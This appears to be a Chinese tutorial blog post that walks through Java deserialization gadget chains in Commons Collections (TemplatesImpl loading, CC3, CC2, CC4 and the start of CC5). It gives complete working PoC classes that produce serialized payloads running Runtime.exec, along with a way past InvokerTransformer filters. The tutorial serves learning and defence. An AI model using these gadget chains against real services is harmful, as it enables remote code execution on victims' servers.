AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

但是可以发现在getTransletInstance中,对加载进来的字节码进行了实例化,其实根据名称来看也能够判断他们三个的用法。

1
_class[_transletIndex].newInstance()

进行了实例化,但还是之前的问题,他是private,我们需要继续找。

img

只有一处地方用到了,巧的是它是public。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

这样我们整体的调用链就出来了:

1
2
3
4
TemplatesImpl#newTransformer() -> 
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

流程出来了我们还需要保证每一步的正常进行。

由于基本上是私有属性,我们先来写一个类通过反射去修改私有属性的值。

1
2
3
4
5
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

首先看newTransformer。

img

没有什么需要设置的,随后到达getTransletInstance。

img

只要_name不等于null就行了,不然会return到达不了实例化的地方,接着再看defineTransletClasses。

img

首先是_bytecodes不能为null,这里我们肯定会传入字节码的,不用担心这个地方。

img

然后需要能够正确的创建出TransletClassLoader,这里就需要我们的_tfactory具有

getExternalExtensionsMap这个方法,我们跟进去发现是来自一个叫TransformerFactoryImpl的类,我们让_tfactory成为它的子类就行了。

img

还有一个判断是判断加载类的父类是否为ABSTRACT_TRANSLET(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet)

理清楚之后我们就可以构造poc了。

首先来修改一下,我们之前写的exp.java。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.mashiro;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class exp extends AbstractTranslet {
public exp() throws Exception {
Runtime.getRuntime().exec("calc");
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

然后构造poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.mashiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplDemo {
public static void main(String[] args) throws Exception{
String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

然后就可以成功弹计算器了。

我们接着就可以去替代前面的cc1和cc6了,直接给出poc,就是将前面的链式调用的方法改为了newTransformer。

cc1 + TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.mashiro;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws Exception {

String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] Transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer",null,null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o=constructor.newInstance(Target.class,transformedmap);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

cc6 + TemplatesImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package org.mashiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3_1 {
public static void main(String[] args) throws Exception {
String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] Transformers = new Transformer[]{new ConstantTransformer(obj),new InvokerTransformer("newTransformer",null,null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedmap,"a");
HashMap<Object,Integer> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,1);
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(transformedmap,chainedTransformer);
transformedmap.remove("a");
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

拼接一下就行了。

过滤问题

但现在很多过滤器都会过滤掉InvokerTransformer,这样之前的链子就打不通了,所以需要找个类来代替它。

我们先来了解两个类InstantiateTransformer与TrAXFilter。

InstantiateTransformer是cc库中一个Transform的实现,它通过反射创建一个新的实例对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

核心是transform方法,会去使用反射实例化一个对象并且返回。

我们再看看TrAXFilter类。

TrAXFilter 类继承自 XMLFilterImpl,它是一个 SAX(Simple API for XML)过滤器,用于在 XML 解析的过程中 应用 XSLT 变换。这个类的主要作用是使用 Templates 对象来 对解析的 XML 数据进行转换,然后将转换后的数据传递给 ContentHandler 进行处理。

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

核心是在它的构造器,可以看到这里面有一个我们熟悉的方法,也就是newTransformer,并且这个templates我们是可控的。

也就是说我们可以通过InstantiateTransformer类的transform实例化出TrAXFilter从而去触发newTransform,也就绕过了InvokerTransformer被过滤的限制。

1
2
3
4
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};

也就是从一个任意方法触发特定的newTransformer方法演变成了一条特定的链子去触发newTransformer。

最后完整的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.mashiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc3_2 {
public static void main(String[] args) throws Exception {
String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("value","a");
Map<Object,Object> transformedmap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedmap,"a");
HashMap<Object,Integer> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,1);
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(transformedmap,chainedTransformer);
transformedmap.remove("a");
serialize(hashMap);
unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

Gadget chain:

1
2
3
4
5
6
7
AnnotationInvocationHandler.readobject->(proxy)lazyMap.entrySet
->AnnotationInvocationHandler.invoke->lazyMap.get
->ChainedTransformer.transform->ConstantTransformer.transform
->InstantiateTransformer.transform->TrAXFilter(构造方法)
->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance
->TemplatesImpl.defineTransletClasses
->(动态创建的类)cc2.newInstance()->Runtime.exec()

CC2链

前置

这里的环境有所不同,用到的是cc4,是因为我们这里用到了一个叫TransformingComparator的类,它在3.1-3.2.1版本中并没有去实现Serializable接口,也就是说这是不可以被序列化的。所以在利用链上就不能使用他去构造。

img

jdk8u65

到这可能会有疑问,前面的cc链是否可以采用cc4。

前面学习的cc链都是基于commons-collections:commons-collections的3.1-3.2.1这几个版本的,但后面有了新的分支org.apache.commons:commons-collections4的4.0版本。

可以发现groupId和artifactId都发生了改变,也就是形成了两个分支。这是因为commons-collections4不是用来替换commons-collections的一个新版本,而是修复旧的commons-collections的⼀些架构和API设计上的问题的一个拓展。

两者的命名空间并不冲突,都可以放在同一个项目中,所以我们只要将之前的collections后面加上一个4就好了。

1
2
3
4
5
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;

然后我们再次观察代码,会发现LazyMap的decorate爆红了。

img

这是由于在cc4中LazyMap的decorate方法被删掉了,但是有一个替代的方法。

1
2
3
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}

其实差不多,我们直接将decorate换成这个方法就可以继续运行了,TransformedMap其实也是一样的,改成transformedMap就好了。

1
2
3
4
5
6
7
8
9
10
11
public static <K, V> TransformedMap<K, V> transformedMap(final Map<K, V> map,
final Transformer<? super K, ? extends K> keyTransformer,
final Transformer<? super V, ? extends V> valueTransformer) {
final TransformedMap<K, V> decorated = new TransformedMap<K, V>(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
final Map<K, V> transformed = decorated.transformMap(map);
decorated.clear();
decorated.decorated().putAll(transformed); // avoids double transformation
}
return decorated;
}

然后我们之前的链子就可以正常的触发了。

我们再来了解一下前面说的那个TransformingComparator类,它其实是和CC1中的ChainedTransformer类似。作用是在比较两个对象之前,先对它们进行某种转换,然后再使用内部的 Comparator 进行比较。

我们主要来看它的compare方法。

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里调用transformer的transform方法,并且这个方法还是一个public的方法。

还有一个PriorityQueue类我们也要了解。它是一个 基于堆(heap) 的优先队列,默认情况下是最小堆(即每次取出元素时,都是当前队列中的最小值)。

它的部分构造方法:

1
2
3
4
PriorityQueue()           
// 使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
// 使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法:

1
2
3
4
5
6
7
8
9
10
11
add(E e)           			// 将指定的元素插入此优先级队列
clear() // 从此优先级队列中移除所有元素。
comparator() // 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) // 如果此队列包含指定的元素,则返回 true。
iterator() // 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) // 将指定的元素插入此优先级队列
peek() // 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() // 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) // 从此队列中移除指定元素的单个实例(如果存在)。
size() // 返回此 collection 中的元素数。
toArray() // 返回一个包含此队列所有元素的数组。

代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) {
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(2);
priorityQueue.add(1);
System.out.println(priorityQueue.poll());
System.out.println(priorityQueue.poll());
}


###
1
2

然后是它的readObject我们需要关注一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

s.readInt();

queue = new Object[size];

for (int i = 0; i < size; i++)
queue[i] = s.readObject();

heapify();
}
1
2
3
4
5
6
7
8
9
1.读取基本字段
调用 s.defaultReadObject();,恢复 PriorityQueue 的 size(元素个数) 和 comparator(比较器)(非 transient 字段)。
读取一个 int(旧版遗留,不使用)。
2.恢复元素数组
由于 queue 数组是 transient,不会被默认序列化,需要手动创建新的 queue 数组,长度为 size。
3.填充元素
使用 for 循环,从输入流 s 逐个读取 size 个对象,并存入 queue 数组。
4.重建堆
调用 heapify(); 方法,重新调整 queue 数组,使其满足最小堆性质。

最后给出该链子的Gadget chain:

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

其实后面是差不多的,只不过我们直接去用InvokerTransform去触发了,而不再是写一个ChainedTransformer,用到的还是TemplatesImpl加载类。

1
2
3
4
5
6
7
8
String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

前面说过了有一个类是类似于ChainedTransformer的。

我们可以利用TransformingComparator的compare方法去触发传入对象的transform。

1
TransformingComparator comparator = new TransformingComparator(transformer);

接下来我们就需要跟进去看看谁调用了compare这个方法。

img

在PriorityQueue有两个方法中调用了该方法,我们都可以跟进去找,但是会发现siftDownUsingComparator会走到我们需要的readObject。

img

继续往下找。

img

找到siftDown,继续找。

img

这时候其实就已经确定了是能够走到readObject的,我们前面分析了readObject,它会调用heapify函数。

然后我们还需要确保每一步的正确进行。

img

在readObject里面没有判断的操作,一定会走到heapify,直接往后走。

img

这里的queue是我们的队列成员,我们要将前面TemplatesImpl实例化的obj传进来。

这里虽然没有if去做判断,但是有一个for的判断,如果没有调用到我们需要的siftDown就已经退出,我们就达不到目的,所以我们要看看这个size的操作。

img

在这段代码中,size 是 当前对象(this) 的堆的大小,也就是当前堆的元素数量。

然后无符号右移1位,整数向右移动 1 位,不保留符号位,所以我们至少是需要2位才能有有效的i,并且此时i为0,我们只能siftDown触发queue[0],也就是第一个队列成员。

img

这里做了一个判断,我们是要进if的,判断了comparator是否为空,我们可以看看这个变量是怎么来的。

img

img

是在我们实例化的时候构造的,我们这里会传入前面TransformingComparator生成的comparator,所以肯定不会为null,我们继续往后走。

img

在这段代码中,comparator的compare方法其实是一定会调用的。

继续往后走。

img

到了compare方法,也是没有判断,会去触发transform函数。

最后就是InvokerTransformer的transform去触发了。

img

可以看到最后返回了一个method.invoke,也就是我们反射调用我们传进去对象的方法,iArgs是一系列参数,也就是触发了newTransformer,后面就是TemplatesImpl加载任意类了。

然后我们就可以来构造poc了,前面已经到了生成comparator,由于PriorityQueue构造器是public,我们直接传进去。

1
PriorityQueue queue = new PriorityQueue(comparator);

反射修改值

然后把我们的恶意对象obj放在队列的第一个成员,并且需要满足size至少大于2,我们先来尝试用反射去修改这两个值。

是可以成功的,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.mashiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.util.Base64;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {
public static void main(String[] args) throws Exception {
String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(comparator);
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{obj,1});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

我们利用反射修改了size为2,然后传入了queue数组进去,前面分析过了第0个要为obj对象。

add添加值

看了很多师傅的wp都用了这个,其实还是用的反射,不过可以了解一下这是为什么。

用add的方式进行进行触发,但是这里我们需要来看看我们之前分析过的东西。

当时我们在寻找compare的时候还有一个siftUpUsingComparator类,虽然走到最后是不能到readObject,但是它也有一些有趣的地方。

img

继续跟进。

img

与Down类似的判断,继续跟进。

img

发现两个,我们这里去看offer。

img

再继续往后走。

img

就会发现到我们的add了,前面也说过常用方法,它能够用来添加队列成员,但是经过我们的分析,它是能够直接去触发我们的命令执行的。

也就是我们在add之前不能传入恶意对象这些,会导致命令的提前触发,需要在add后面利用反射对queue里面的属性进行修改,有点多此一举的感觉。

完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.mashiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.util.Base64;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc2 {
public static void main(String[] args) throws Exception {
String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

InvokerTransformer transformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
// setFieldValue(queue,"size",2);
// setFieldValue(queue,"queue",new Object[]{obj,1});
queue.add(1);
queue.add(1);
setFieldValue(queue,"comparator",comparator);
setFieldValue(queue,"queue",new Object[]{obj,1});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

CC4链

环境

jdk8u65,cc4

分析

前面已经分析过了cc2链和cc3链,这个其实就是结合了一下。利用PriorityQueue和TransformingComparator去触发TemplatesImpl加载任意类。

Gadget Chain:

1
2
3
4
5
6
7
8
9
10
11
12
getTransletInstancePriorityQueue.readObject->
PriorityQueue.heapify->
PriorityQueue.siftDown->
PriorityQueue.siftDownUsingComparator->
TransformingComparator.compare->
ChainedTransformer.transform->
TrAXFilter(构造方法)->
TemplatesImpl.newTransformer->
TemplatesImpl.getTransletInstance->
TemplatesImpl.defineTransletClasses->
(动态创建的类)cc4.newInstance()->
Runtime.exec()

还是利用cc2一直调用到transformer的地方,不过这里的transformer换成了之前cc3里面的chainedtransformer。

所以我们只需要做一个替换就行了。

Poc

直接贴poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.mashiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class cc4 {
public static void main(String[] args) throws Exception {
String encoded = GenerateClassBase.getEncodedClass();
byte[] code = Base64.getDecoder().decode(encoded);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "Mash1r0");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

TransformingComparator comparator = new TransformingComparator(chainedTransformer);
PriorityQueue queue = new PriorityQueue(comparator);
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{obj,1});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

CC5链

前置

环境:jdk8u65、cc4

这条链还是与cc1有点关系,不过用到了一个新的类BadAttributeValueExpException。它是 Java javax.management包中的一个异常类,它主要用于 JMX(Java Management Extensions)框架中。

img

在ysoserial里面有一句话说需要没有security manager。

SecurityManager(安全管理器)是 Java 提供的一种安全机制,用于限制 Java 应用程序的操作权限,防止恶意代码执行危险操作,默认情况下是关闭状态。

Gadget Chain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

分析

这个链子的后半部分还是cc1的LazyMap,我们直接从LazyMap接着分析。

img

回到LazyMap的get方法,调用了transform,我们接着去找get。

根据调用链可以知道,这里还是用的cc6里面的TiedMapEntry。

img

还是这个getValue。

img

继续往后跟。

img

在之前我们这里用的是hashCode方法,这次我们去看toString。

img

然后继续往后找,这里toString的用法也应该会很多,我们直接根据链子中的类定位一下。

javax.management.BadAttributeValueExpException

img

这个类刚好在readObject里面调用了它,我们也就不用继续往后找了。
